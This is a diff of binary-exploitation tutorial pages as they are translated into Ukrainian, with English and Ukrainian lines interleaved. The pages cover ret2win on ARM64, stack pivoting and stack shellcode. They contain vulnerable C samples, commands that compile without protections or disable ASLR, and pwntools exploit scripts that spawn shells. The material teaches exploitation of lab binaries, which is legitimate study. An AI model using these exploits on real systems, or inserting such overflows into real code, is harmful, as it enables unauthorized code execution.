- [**Stack Canaries**](../../common-binary-protections-and-bypasses/stack-canaries/) should be also disabled or the compromised EIP return address won't never be followed.
## Other examples & References
## Інші приклади та посилання
- [https://ir0nstone.gitbook.io/notes/types/stack/ret2win](https://ir0nstone.gitbook.io/notes/types/stack/ret2win)
- [https://guyinatuxedo.github.io/04-bof_variable/tamu19_pwn1/index.html](https://guyinatuxedo.github.io/04-bof_variable/tamu19_pwn1/index.html)
- 32bit, no ASLR
- 32 біт, без ASLR
- [https://guyinatuxedo.github.io/05-bof_callfunction/csaw16_warmup/index.html](https://guyinatuxedo.github.io/05-bof_callfunction/csaw16_warmup/index.html)
- 64 bits with ASLR, with a leak of the bin address
- 64 біти з ASLR, з leak адреси бінарника
- [https://guyinatuxedo.github.io/05-bof_callfunction/csaw18_getit/index.html](https://guyinatuxedo.github.io/05-bof_callfunction/csaw18_getit/index.html)
- 64 bits, no ASLR
- 64 біти, без ASLR
- [https://guyinatuxedo.github.io/05-bof_callfunction/tu17_vulnchat/index.html](https://guyinatuxedo.github.io/05-bof_callfunction/tu17_vulnchat/index.html)
- 32 bits, no ASLR, double small overflow, first to overflow the stack and enlarge the size of the second overflow
- 32 біти, без ASLR, подвійне мале переповнення, спочатку для переповнення стека і збільшення розміру другого переповнення
- [https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html](https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html)
- 32 bit, relro, no canary, nx, no pie, format string to overwrite the address `fflush` with the win function (ret2win)
- 32 біт, relro, без канарки, nx, без pie, форматний рядок для перезапису адреси `fflush` з функцією win (ret2win)
- [https://guyinatuxedo.github.io/15-partial_overwrite/tamu19_pwn2/index.html](https://guyinatuxedo.github.io/15-partial_overwrite/tamu19_pwn2/index.html)
- 32 bit, nx, nothing else, partial overwrite of EIP (1Byte) to call the win function
- 32 біт, nx, нічого іншого, часткове перезаписування EIP (1Byte) для виклику функції win
- [https://guyinatuxedo.github.io/15-partial_overwrite/tuctf17_vulnchat2/index.html](https://guyinatuxedo.github.io/15-partial_overwrite/tuctf17_vulnchat2/index.html)
- 32 bit, nx, nothing else, partial overwrite of EIP (1Byte) to call the win function
- 32 біт, nx, нічого іншого, часткове перезаписування EIP (1Byte) для виклику функції win
- [https://guyinatuxedo.github.io/35-integer_exploitation/int_overflow_post/index.html](https://guyinatuxedo.github.io/35-integer_exploitation/int_overflow_post/index.html)
- The program is only validating the last byte of a number to check for the size of the input, therefore it's possible to add any zie as long as the last byte is inside the allowed range. Then, the input creates a buffer overflow exploited with a ret2win.
- Програма лише перевіряє останній байт числа, щоб перевірити розмір введення, тому можливо додати будь-який розмір, якщо останній байт знаходиться в дозволеному діапазоні. Тоді введення створює переповнення буфера, яке експлуатується за допомогою ret2win.
- [https://7rocky.github.io/en/ctf/other/blackhat-ctf/fno-stack-protector/](https://7rocky.github.io/en/ctf/other/blackhat-ctf/fno-stack-protector/)
- 64 bit, relro, no canary, nx, pie. Partial overwrite to call the win function (ret2win)
- 64 біти, relro, без канарки, nx, pie. Часткове перезаписування для виклику функції win (ret2win)
- [https://8ksec.io/arm64-reversing-and-exploitation-part-3-a-simple-rop-chain/](https://8ksec.io/arm64-reversing-and-exploitation-part-3-a-simple-rop-chain/)
- arm64, PIE, it gives a PIE leak the win function is actually 2 functions so ROP gadget that calls 2 functions
- arm64, PIE, він дає leak PIE, функція win насправді є 2 функціями, тому ROP гаджет, який викликає 2 функції
- [https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/](https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/)
- ARM64, off-by-one to call a win function
- ARM64, off-by-one для виклику функції win
## ARM64 Example
## Приклад ARM64
{{#ref}}
ret2win-arm64.md

View File

@ -2,92 +2,80 @@
{{#include ../../../banners/hacktricks-training.md}}
Find an introduction to arm64 in:
Знайдіть вступ до arm64 у:
{{#ref}}
../../../macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md
{{#endref}}
## Code&#x20;
```c
#include <stdio.h>
#include <unistd.h>
void win() {
printf("Congratulations!\n");
printf("Congratulations!\n");
}
void vulnerable_function() {
char buffer[64];
read(STDIN_FILENO, buffer, 256); // <-- bof vulnerability
char buffer[64];
read(STDIN_FILENO, buffer, 256); // <-- bof vulnerability
}
int main() {
vulnerable_function();
return 0;
vulnerable_function();
return 0;
}
```
Compile without pie and canary:
Скомпілювати без pie та canary:
```bash
clang -o ret2win ret2win.c -fno-stack-protector -Wno-format-security -no-pie
```
## Знаходження зсуву
## Finding the offset
### Варіант патерну
### Pattern option
This example was created using [**GEF**](https://github.com/bata24/gef):
Stat gdb with gef, create pattern and use it:
Цей приклад був створений за допомогою [**GEF**](https://github.com/bata24/gef):
Запустіть gdb з gef, створіть патерн і використайте його:
```bash
gdb -q ./ret2win
pattern create 200
run
```
<figure><img src="../../../images/image (1205).png" alt=""><figcaption></figcaption></figure>
arm64 will try to return to the address in the register x30 (which was compromised), we can use that to find the pattern offset:
arm64 спробує повернутися за адресою в регістрі x30 (який був скомпрометований), ми можемо використати це, щоб знайти зсув шаблону:
```bash
pattern search $x30
```
<figure><img src="../../../images/image (1206).png" alt=""><figcaption></figcaption></figure>
**The offset is 72 (9x48).**
**Зсув становить 72 (9x48).**
### Stack offset option
Start by getting the stack address where the pc register is stored:
### Опція зсуву стеку
Почніть з отримання адреси стеку, де зберігається регістр pc:
```bash
gdb -q ./ret2win
b *vulnerable_function + 0xc
run
info frame
```
<figure><img src="../../../images/image (1207).png" alt=""><figcaption></figcaption></figure>
Now set a breakpoint after the `read()` and continue until the `read()` is executed and set a pattern such as 13371337:
Тепер встановіть точку зупинки після `read()` і продовжте, поки `read()` не буде виконано, і встановіть шаблон, наприклад 13371337:
```
b *vulnerable_function+28
c
```
<figure><img src="../../../images/image (1208).png" alt=""><figcaption></figcaption></figure>
Find where this pattern is stored in memory:
Знайдіть, де цей шаблон зберігається в пам'яті:
<figure><img src="../../../images/image (1209).png" alt=""><figcaption></figcaption></figure>
Then: **`0xfffffffff148 - 0xfffffffff100 = 0x48 = 72`**
Тоді: **`0xfffffffff148 - 0xfffffffff100 = 0x48 = 72`**
<figure><img src="../../../images/image (1210).png" alt="" width="339"><figcaption></figcaption></figure>
@ -95,16 +83,13 @@ Then: **`0xfffffffff148 - 0xfffffffff100 = 0x48 = 72`**
### Regular
Get the address of the **`win`** function:
Отримайте адресу функції **`win`**:
```bash
objdump -d ret2win | grep win
ret2win: file format elf64-littleaarch64
00000000004006c4 <win>:
```
Exploit:
Експлуатація:
```python
from pwn import *
@ -124,13 +109,11 @@ p.send(payload)
print(p.recvline())
p.close()
```
<figure><img src="../../../images/image (1211).png" alt="" width="375"><figcaption></figcaption></figure>
### Off-by-1
Actually this is going to by more like a off-by-2 in the stored PC in the stack. Instead of overwriting all the return address we are going to overwrite **only the last 2 bytes** with `0x06c4`.
Насправді це буде більше схоже на off-by-2 у збереженому PC в стеку. Замість того, щоб перезаписувати всю адресу повернення, ми перезапишемо **тільки останні 2 байти** значенням `0x06c4`.
```python
from pwn import *
@ -150,22 +133,20 @@ p.send(payload)
print(p.recvline())
p.close()
```
<figure><img src="../../../images/image (1212).png" alt="" width="375"><figcaption></figcaption></figure>
You can find another off-by-one example in ARM64 in [https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/](https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/), which is a real off-by-**one** in a fictitious vulnerability.
Ви можете знайти ще один приклад off-by-one в ARM64 за посиланням [https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/](https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/), який є справжнім off-by-**one** у вигаданій вразливості.
## With PIE
## З PIE
> [!TIP]
> Compile the binary **without the `-no-pie` argument**
> Скомпілюйте бінарний файл **без аргументу `-no-pie`**
### Off-by-2
Without a leak we don't know the exact address of the winning function but we can know the offset of the function from the binary and knowing that the return address we are overwriting is already pointing to a close address, it's possible to leak the offset to the win function (**0x7d4**) in this case and just use that offset:
Без leak ми не знаємо точну адресу виграшної функції, але можемо знати зсув функції від бінарного файлу, і знаючи, що адреса повернення, яку ми перезаписуємо, вже вказує на близьку адресу, можливо витягти зсув до виграшної функції (**0x7d4**) у цьому випадку і просто використати цей зсув:
<figure><img src="../../../images/image (1213).png" alt="" width="563"><figcaption></figcaption></figure>
```python
from pwn import *
@ -185,5 +166,4 @@ p.send(payload)
print(p.recvline())
p.close()
```
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -4,62 +4,59 @@
## Basic Information
This technique exploits the ability to manipulate the **Base Pointer (EBP)** to chain the execution of multiple functions through careful use of the EBP register and the **`leave; ret`** instruction sequence.
As a reminder, **`leave`** basically means:
Ця техніка використовує можливість маніпулювати **Base Pointer (EBP)** для з'єднання виконання кількох функцій через обережне використання регістра EBP та інструкційної послідовності **`leave; ret`**.
Нагадаємо, що **`leave`** в основному означає:
```
mov ebp, esp
pop ebp
ret
```
And as the **EBP is in the stack** before the EIP it's possible to control it controlling the stack.
І як **EBP знаходиться в стеку** перед EIP, можливо контролювати його, контролюючи стек.
### EBP2Ret
This technique is particularly useful when you can **alter the EBP register but have no direct way to change the EIP register**. It leverages the behaviour of functions when they finish executing.
Ця техніка особливо корисна, коли ви можете **змінити регістр EBP, але не маєте прямого способу змінити регістр EIP**. Вона використовує поведінку функцій, коли вони закінчують виконання.
If, during `fvuln`'s execution, you manage to inject a **fake EBP** in the stack that points to an area in memory where your shellcode's address is located (plus 4 bytes to account for the `pop` operation), you can indirectly control the EIP. As `fvuln` returns, the ESP is set to this crafted location, and the subsequent `pop` operation decreases ESP by 4, **effectively making it point to an address store by the attacker in there.**\
Note how you **need to know 2 addresses**: The one where ESP is going to go, where you will need to write the address that is pointed by ESP.
Якщо під час виконання `fvuln` вам вдасться впровадити **фальшивий EBP** у стек, який вказує на область пам'яті, де знаходиться адреса вашого shellcode (плюс 4 байти для врахування операції `pop`), ви можете непрямо контролювати EIP. Коли `fvuln` повертається, ESP встановлюється на це створене місце, а наступна операція `pop` зменшує ESP на 4, **ефективно вказуючи на адресу, збережену атакуючим там.**\
Зверніть увагу, що вам **потрібно знати 2 адреси**: ту, куди ESP буде йти, куди вам потрібно буде записати адресу, на яку вказує ESP.
#### Exploit Construction
#### Конструкція експлойту
First you need to know an **address where you can write arbitrary data / addresses**. The ESP will point here and **run the first `ret`**.
Спочатку вам потрібно знати **адресу, куди ви можете записувати довільні дані / адреси**. ESP буде вказувати сюди і **виконає перший `ret`**.
Then, you need to know the address used by `ret` that will **execute arbitrary code**. You could use:
Потім вам потрібно знати адресу, яку використовує `ret`, яка **виконає довільний код**. Ви можете використовувати:
- A valid [**ONE_GADGET**](https://github.com/david942j/one_gadget) address.
- The address of **`system()`** followed by **4 junk bytes** and the address of `"/bin/sh"` (x86 bits).
- The address of a **`jump esp;`** gadget ([**ret2esp**](../rop-return-oriented-programing/ret2esp-ret2reg.md)) followed by the **shellcode** to execute.
- Some [**ROP**](../rop-return-oriented-programing/) chain
- Дійсну [**ONE_GADGET**](https://github.com/david942j/one_gadget) адресу.
- Адресу **`system()`**, за якою йдуть **4 байти сміття** та адреса `"/bin/sh"` (x86 біт).
- Адресу **гаджета `jump esp;`** ([**ret2esp**](../rop-return-oriented-programing/ret2esp-ret2reg.md)), за яким йде **shellcode** для виконання.
- Деяку [**ROP**](../rop-return-oriented-programing/) ланцюг
Remember than before any of these addresses in the controlled part of the memory, there must be **`4` bytes** because of the **`pop`** part of the `leave` instruction. It would be possible to abuse these 4B to set a **second fake EBP** and continue controlling the execution.
Пам'ятайте, що перед будь-якою з цих адрес у контрольованій частині пам'яті повинно бути **`4` байти** через **`pop`** частину інструкції `leave`. Було б можливим зловживати цими 4B, щоб встановити **другий фальшивий EBP** і продовжити контролювати виконання.
#### Off-By-One Exploit
There's a specific variant of this technique known as an "Off-By-One Exploit". It's used when you can **only modify the least significant byte of the EBP**. In such a case, the memory location storing the address to jumo to with the **`ret`** must share the first three bytes with the EBP, allowing for a similar manipulation with more constrained conditions.\
Usually it's modified the byte 0x00t o jump as far as possible.
Існує специфічний варіант цієї техніки, відомий як "Off-By-One Exploit". Він використовується, коли ви можете **змінити лише найменш значущий байт EBP**. У такому випадку, місце в пам'яті, що зберігає адресу для переходу з **`ret`**, повинно ділити перші три байти з EBP, що дозволяє подібну маніпуляцію з більш обмеженими умовами.\
Зазвичай змінюється байт 0x00, щоб стрибнути якомога далі.
Also, it's common to use a RET sled in the stack and put the real ROP chain at the end to make it more probably that the new ESP points inside the RET SLED and the final ROP chain is executed.
Також поширено використовувати RET sled у стеку та поміщати реальний ROP ланцюг в кінець, щоб підвищити ймовірність того, що новий ESP вказує всередину RET SLED, і фінальний ROP ланцюг виконується.
### **EBP Chaining**
Therefore, putting a controlled address in the `EBP` entry of the stack and an address to `leave; ret` in `EIP`, it's possible to **move the `ESP` to the controlled `EBP` address from the stack**.
Отже, поміщаючи контрольовану адресу в запис EBP стеку та адресу для `leave; ret` в EIP, можливо **перемістити `ESP` на контрольовану адресу EBP зі стеку**.
Now, the **`ESP`** is controlled pointing to a desired address and the next instruction to execute is a `RET`. To abuse this, it's possible to place in the controlled ESP place this:
Тепер **`ESP`** контролюється, вказуючи на бажану адресу, а наступна інструкція для виконання - `RET`. Щоб зловживати цим, можливо помістити в контрольоване місце ESP наступне:
- **`&(next fake EBP)`** -> Load the new EBP because of `pop ebp` from the `leave` instruction
- **`system()`** -> Called by `ret`
- **`&(leave;ret)`** -> Called after system ends, it will move ESP to the fake EBP and start agin
- **`&("/bin/sh")`**-> Param fro `system`
- **`&(наступний фальшивий EBP)`** -> Завантажити новий EBP через `pop ebp` з інструкції `leave`
- **`system()`** -> Викликаний через `ret`
- **`&(leave;ret)`** -> Викликаний після завершення системи, він перемістить ESP на фальшивий EBP і почне знову
- **`&("/bin/sh")`**-> Параметр для `system`
Basically this way it's possible to chain several fake EBPs to control the flow of the program.
В основному, таким чином можливо з'єднати кілька фальшивих EBP для контролю потоку програми.
This is like a [ret2lib](../rop-return-oriented-programing/ret2lib/), but more complex with no apparent benefit but could be interesting in some edge-cases.
Moreover, here you have an [**example of a challenge**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/leave) that uses this technique with a **stack leak** to call a winning function. This is the final payload from the page:
Це схоже на [ret2lib](../rop-return-oriented-programing/ret2lib/), але складніше без очевидної вигоди, але може бути цікавим у деяких крайніх випадках.
Більше того, ось вам [**приклад завдання**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/leave), яке використовує цю техніку з **витоком стеку** для виклику виграшної функції. Це фінальний payload зі сторінки:
```python
from pwn import *
@ -75,34 +72,32 @@ POP_RDI = 0x40122b
POP_RSI_R15 = 0x401229
payload = flat(
0x0, # rbp (could be the address of anoter fake RBP)
POP_RDI,
0xdeadbeef,
POP_RSI_R15,
0xdeadc0de,
0x0,
elf.sym['winner']
0x0, # rbp (could be the address of anoter fake RBP)
POP_RDI,
0xdeadbeef,
POP_RSI_R15,
0xdeadc0de,
0x0,
elf.sym['winner']
)
payload = payload.ljust(96, b'A') # pad to 96 (just get to RBP)
payload += flat(
buffer, # Load leak address in RBP
LEAVE_RET # Use leave ro move RSP to the user ROP chain and ret to execute it
buffer, # Load leak address in RBP
LEAVE_RET # Use leave ro move RSP to the user ROP chain and ret to execute it
)
pause()
p.sendline(payload)
print(p.recvline())
```
## EBP може не використовуватись
## EBP might not be used
As [**explained in this post**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md#off-by-one-1), if a binary is compiled with some optimizations, the **EBP never gets to control ESP**, therefore, any exploit working by controlling EBP sill basically fail because it doesn't have ay real effect.\
This is because the **prologue and epilogue changes** if the binary is optimized.
- **Not optimized:**
Як [**пояснено в цьому пості**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md#off-by-one-1), якщо бінарний файл скомпільовано з деякими оптимізаціями, **EBP ніколи не контролює ESP**, отже, будь-який експлойт, що працює шляхом контролю EBP, в основному зазнає невдачі, оскільки не має жодного реального ефекту.\
Це пов'язано з тим, що **пролог і епілог змінюються**, якщо бінарний файл оптимізовано.
- **Не оптимізовано:**
```bash
push %ebp # save ebp
mov %esp,%ebp # set new ebp
@ -113,9 +108,7 @@ sub $0x100,%esp # increase stack size
leave # restore ebp (leave == mov %ebp, %esp; pop %ebp)
ret # return
```
- **Optimized:**
- **Оптимізовано:**
```bash
push %ebx # save ebx
sub $0x100,%esp # increase stack size
@ -126,13 +119,11 @@ add $0x10c,%esp # reduce stack size
pop %ebx # restore ebx
ret # return
```
## Інші способи контролю RSP
## Other ways to control RSP
### **`pop rsp`** gadget
[**In this page**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp) you can find an example using this technique. For this challenge it was needed to call a function with 2 specific arguments, and there was a **`pop rsp` gadget** and there is a **leak from the stack**:
### **`pop rsp`** гаджет
[**На цій сторінці**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp) ви можете знайти приклад використання цієї техніки. Для цього завдання потрібно було викликати функцію з 2 специфічними аргументами, і був **`pop rsp` гаджет** та є **leak з стеку**:
```python
# Code from https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp
# This version has added comments
@ -152,15 +143,15 @@ POP_RSI_R15 = 0x401229 # pop RSI and R15
# The payload starts
payload = flat(
0, # r13
0, # r14
0, # r15
POP_RDI,
0xdeadbeef,
POP_RSI_R15,
0xdeadc0de,
0x0, # r15
elf.sym['winner']
0, # r13
0, # r14
0, # r15
POP_RDI,
0xdeadbeef,
POP_RSI_R15,
0xdeadc0de,
0x0, # r15
elf.sym['winner']
)
payload = payload.ljust(104, b'A') # pad to 104
@ -168,66 +159,63 @@ payload = payload.ljust(104, b'A') # pad to 104
# Start popping RSP, this moves the stack to the leaked address and
# continues the ROP chain in the prepared payload
payload += flat(
POP_CHAIN,
buffer # rsp
POP_CHAIN,
buffer # rsp
)
pause()
p.sendline(payload)
print(p.recvline())
```
### xchg \<reg>, rsp gadget
```
pop <reg> <=== return pointer
<reg value>
xchg <reg>, rsp
```
### jmp esp
Check the ret2esp technique here:
Перевірте техніку ret2esp тут:
{{#ref}}
../rop-return-oriented-programing/ret2esp-ret2reg.md
{{#endref}}
## References & Other Examples
## Посилання та інші приклади
- [https://bananamafia.dev/post/binary-rop-stackpivot/](https://bananamafia.dev/post/binary-rop-stackpivot/)
- [https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting)
- [https://guyinatuxedo.github.io/17-stack_pivot/dcquals19_speedrun4/index.html](https://guyinatuxedo.github.io/17-stack_pivot/dcquals19_speedrun4/index.html)
- 64 bits, off by one exploitation with a rop chain starting with a ret sled
- 64 біти, експлуатація off by one з ланцюгом rop, що починається з ret sled
- [https://guyinatuxedo.github.io/17-stack_pivot/insomnihack18_onewrite/index.html](https://guyinatuxedo.github.io/17-stack_pivot/insomnihack18_onewrite/index.html)
- 64 bit, no relro, canary, nx and pie. The program grants a leak for stack or pie and a WWW of a qword. First get the stack leak and use the WWW to go back and get the pie leak. Then use the WWW to create an eternal loop abusing `.fini_array` entries + calling `__libc_csu_fini` ([more info here](../arbitrary-write-2-exec/www2exec-.dtors-and-.fini_array.md)). Abusing this "eternal" write, it's written a ROP chain in the .bss and end up calling it pivoting with RBP.
- 64 біти, без relro, canary, nx та pie. Програма надає leak для стеку або pie та WWW для qword. Спочатку отримайте leak стеку та використайте WWW, щоб повернутися і отримати leak pie. Потім використайте WWW, щоб створити вічний цикл, зловживаючи записами `.fini_array` + викликом `__libc_csu_fini` ([більше інформації тут](../arbitrary-write-2-exec/www2exec-.dtors-and-.fini_array.md)). Зловживаючи цим "вічним" записом, записується ROP-ланцюг у .bss і в кінці викликається, підіймаючись з RBP.
## ARM64
In ARM64, the **prologue and epilogues** of the functions **don't store and retrieve the SP registry** in the stack. Moreover, the **`RET`** instruction don't return to the address pointed by SP, but **to the address inside `x30`**.
В ARM64, **пролог та епілоги** функцій **не зберігають і не відновлюють реєстр SP** у стеку. Більше того, **інструкція `RET`** не повертає за адресою, на яку вказує SP, а **за адресою всередині `x30`**.
Therefore, by default, just abusing the epilogue you **won't be able to control the SP registry** by overwriting some data inside the stack. And even if you manage to control the SP you would still need a way to **control the `x30`** register.
Отже, за замовчуванням, просто зловживаючи епілогом, ви **не зможете контролювати реєстр SP**, перезаписуючи деякі дані всередині стеку. І навіть якщо вам вдасться контролювати SP, вам все ще знадобиться спосіб **контролювати реєстр `x30`**.
- prologue
- пролог
```armasm
sub sp, sp, 16
stp x29, x30, [sp] // [sp] = x29; [sp + 8] = x30
mov x29, sp // FP points to frame record
```
```armasm
sub sp, sp, 16
stp x29, x30, [sp] // [sp] = x29; [sp + 8] = x30
mov x29, sp // FP вказує на запис кадру
```
- epilogue
- епілог
```armasm
ldp x29, x30, [sp] // x29 = [sp]; x30 = [sp + 8]
add sp, sp, 16
ret
```
```armasm
ldp x29, x30, [sp] // x29 = [sp]; x30 = [sp + 8]
add sp, sp, 16
ret
```
> [!CAUTION]
> The way to perform something similar to stack pivoting in ARM64 would be to be able to **control the `SP`** (by controlling some register whose value is passed to `SP` or because for some reason `SP` is taking his address from the stack and we have an overflow) and then **abuse the epilogu**e to load the **`x30`** register from a **controlled `SP`** and **`RET`** to it.
> [!УВАГА]
> Спосіб виконати щось подібне до стекового підіймання в ARM64 полягатиме в тому, щоб мати можливість **контролювати `SP`** (контролюючи якийсь реєстр, значення якого передається до `SP`, або через те, що з якоїсь причини `SP` бере свою адресу зі стеку, і у нас є переповнення) і потім **зловживати епілогом**, щоб завантажити **реєстр `x30`** з **контрольованого `SP`** і **`RET`** до нього.
Also in the following page you can see the equivalent of **Ret2esp in ARM64**:
Також на наступній сторінці ви можете побачити еквівалент **Ret2esp в ARM64**:
{{#ref}}
../rop-return-oriented-programing/ret2esp-ret2reg.md

View File

@ -4,47 +4,42 @@
## Basic Information
**Stack shellcode** is a technique used in **binary exploitation** where an attacker writes shellcode to a vulnerable program's stack and then modifies the **Instruction Pointer (IP)** or **Extended Instruction Pointer (EIP)** to point to the location of this shellcode, causing it to execute. This is a classic method used to gain unauthorized access or execute arbitrary commands on a target system. Here's a breakdown of the process, including a simple C example and how you might write a corresponding exploit using Python with **pwntools**.
**Stack shellcode** - це техніка, що використовується в **binary exploitation**, де зловмисник записує shellcode в стек вразливої програми, а потім модифікує **Instruction Pointer (IP)** або **Extended Instruction Pointer (EIP)**, щоб вказати на місце розташування цього shellcode, що призводить до його виконання. Це класичний метод, що використовується для отримання несанкціонованого доступу або виконання довільних команд на цільовій системі. Ось розбір процесу, включаючи простий приклад на C та як ви можете написати відповідний експлойт, використовуючи Python з **pwntools**.
### C Example: A Vulnerable Program
Let's start with a simple example of a vulnerable C program:
Давайте почнемо з простого прикладу вразливої програми на C:
```c
#include <stdio.h>
#include <string.h>
void vulnerable_function() {
char buffer[64];
gets(buffer); // Unsafe function that does not check for buffer overflow
char buffer[64];
gets(buffer); // Unsafe function that does not check for buffer overflow
}
int main() {
vulnerable_function();
printf("Returned safely\n");
return 0;
vulnerable_function();
printf("Returned safely\n");
return 0;
}
```
Ця програма вразлива до переповнення буфера через використання функції `gets()`.
This program is vulnerable to a buffer overflow due to the use of the `gets()` function.
### Compilation
To compile this program while disabling various protections (to simulate a vulnerable environment), you can use the following command:
### Компіляція
Щоб скомпілювати цю програму, вимкнувши різні захисти (щоб змоделювати вразливе середовище), ви можете використати наступну команду:
```sh
gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c
```
- `-fno-stack-protector`: Disables stack protection.
- `-z execstack`: Makes the stack executable, which is necessary for executing shellcode stored on the stack.
- `-no-pie`: Disables Position Independent Executable, making it easier to predict the memory address where our shellcode will be located.
- `-m32`: Compiles the program as a 32-bit executable, often used for simplicity in exploit development.
- `-fno-stack-protector`: Вимикає захист стеку.
- `-z execstack`: Робить стек виконуваним, що необхідно для виконання shellcode, збереженого в стеці.
- `-no-pie`: Вимикає Position Independent Executable, що полегшує прогнозування адреси пам'яті, де буде розташований наш shellcode.
- `-m32`: Компілірує програму як 32-бітний виконуваний файл, що часто використовується для спрощення розробки експлойтів.
### Python Exploit using Pwntools
Here's how you could write an exploit in Python using **pwntools** to perform a **ret2shellcode** attack:
Ось як ви можете написати експлойт на Python, використовуючи **pwntools** для виконання атаки **ret2shellcode**:
```python
from pwn import *
@ -71,27 +66,26 @@ payload += p32(0xffffcfb4) # Supossing 0xffffcfb4 will be inside NOP slide
p.sendline(payload)
p.interactive()
```
Цей скрипт створює корисне навантаження, що складається з **NOP слайду**, **shellcode**, а потім перезаписує **EIP** адресою, що вказує на NOP слайд, забезпечуючи виконання shellcode.
This script constructs a payload consisting of a **NOP slide**, the **shellcode**, and then overwrites the **EIP** with the address pointing to the NOP slide, ensuring the shellcode gets executed.
**NOP слайд** (`asm('nop')`) використовується для збільшення ймовірності того, що виконання "зсуватиметься" в наш shellcode незалежно від точної адреси. Налаштуйте аргумент `p32()` на початкову адресу вашого буфера плюс зсув, щоб потрапити в NOP слайд.
The **NOP slide** (`asm('nop')`) is used to increase the chance that execution will "slide" into our shellcode regardless of the exact address. Adjust the `p32()` argument to the starting address of your buffer plus an offset to land in the NOP slide.
## Захист
## Protections
- [**ASLR**](../../common-binary-protections-and-bypasses/aslr/) **повинен бути вимкнений** для того, щоб адреса була надійною під час виконань, інакше адреса, де буде зберігатися функція, не завжди буде однаковою, і вам знадобиться якийсь leak, щоб зрозуміти, де завантажена функція win.
- [**Stack Canaries**](../../common-binary-protections-and-bypasses/stack-canaries/) також повинні бути вимкнені, інакше скомпрометована адреса повернення EIP ніколи не буде виконана.
- [**NX**](../../common-binary-protections-and-bypasses/no-exec-nx.md) **захист** стеку запобігатиме виконанню shellcode всередині стеку, оскільки цей регіон не буде виконуваним.
- [**ASLR**](../../common-binary-protections-and-bypasses/aslr/) **should be disabled** for the address to be reliable across executions or the address where the function will be stored won't be always the same and you would need some leak in order to figure out where is the win function loaded.
- [**Stack Canaries**](../../common-binary-protections-and-bypasses/stack-canaries/) should be also disabled or the compromised EIP return address won't never be followed.
- [**NX**](../../common-binary-protections-and-bypasses/no-exec-nx.md) **stack** protection would prevent the execution of the shellcode inside the stack because that region won't be executable.
## Other Examples & References
## Інші приклади та посилання
- [https://ir0nstone.gitbook.io/notes/types/stack/shellcode](https://ir0nstone.gitbook.io/notes/types/stack/shellcode)
- [https://guyinatuxedo.github.io/06-bof_shellcode/csaw17_pilot/index.html](https://guyinatuxedo.github.io/06-bof_shellcode/csaw17_pilot/index.html)
- 64bit, ASLR with stack address leak, write shellcode and jump to it
- 64bit, ASLR з leak адреси стеку, записати shellcode і перейти до нього
- [https://guyinatuxedo.github.io/06-bof_shellcode/tamu19_pwn3/index.html](https://guyinatuxedo.github.io/06-bof_shellcode/tamu19_pwn3/index.html)
- 32 bit, ASLR with stack leak, write shellcode and jump to it
- 32 bit, ASLR з leak стеку, записати shellcode і перейти до нього
- [https://guyinatuxedo.github.io/06-bof_shellcode/tu18_shellaeasy/index.html](https://guyinatuxedo.github.io/06-bof_shellcode/tu18_shellaeasy/index.html)
- 32 bit, ASLR with stack leak, comparison to prevent call to exit(), overwrite variable with a value and write shellcode and jump to it
- 32 bit, ASLR з leak стеку, порівняння для запобігання виклику exit(), перезаписати змінну значенням і записати shellcode і перейти до нього
- [https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/](https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/)
- arm64, no ASLR, ROP gadget to make stack executable and jump to shellcode in stack
- arm64, без ASLR, ROP гаджет для зроблення стеку виконуваним і перехід до shellcode в стеку
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -2,47 +2,40 @@
{{#include ../../../banners/hacktricks-training.md}}
Find an introduction to arm64 in:
Знайдіть вступ до arm64 у:
{{#ref}}
../../../macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md
{{#endref}}
## Code&#x20;
```c
#include <stdio.h>
#include <unistd.h>
void vulnerable_function() {
char buffer[64];
read(STDIN_FILENO, buffer, 256); // <-- bof vulnerability
char buffer[64];
read(STDIN_FILENO, buffer, 256); // <-- bof vulnerability
}
int main() {
vulnerable_function();
return 0;
vulnerable_function();
return 0;
}
```
Compile without pie, canary and nx:
Скомпілювати без pie, canary та nx:
```bash
clang -o bof bof.c -fno-stack-protector -Wno-format-security -no-pie -z execstack
```
## No ASLR & No canary - Stack Overflow&#x20;
To stop ASLR execute:
Щоб зупинити ASLR, виконайте:
```bash
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
```
Щоб отримати [**зсув bof, перевірте це посилання**](../ret2win/ret2win-arm64.md#finding-the-offset).
To get the [**offset of the bof check this link**](../ret2win/ret2win-arm64.md#finding-the-offset).
Exploit:
Експлуатація:
```python
from pwn import *
@ -73,9 +66,8 @@ p.send(payload)
# Drop to an interactive session
p.interactive()
```
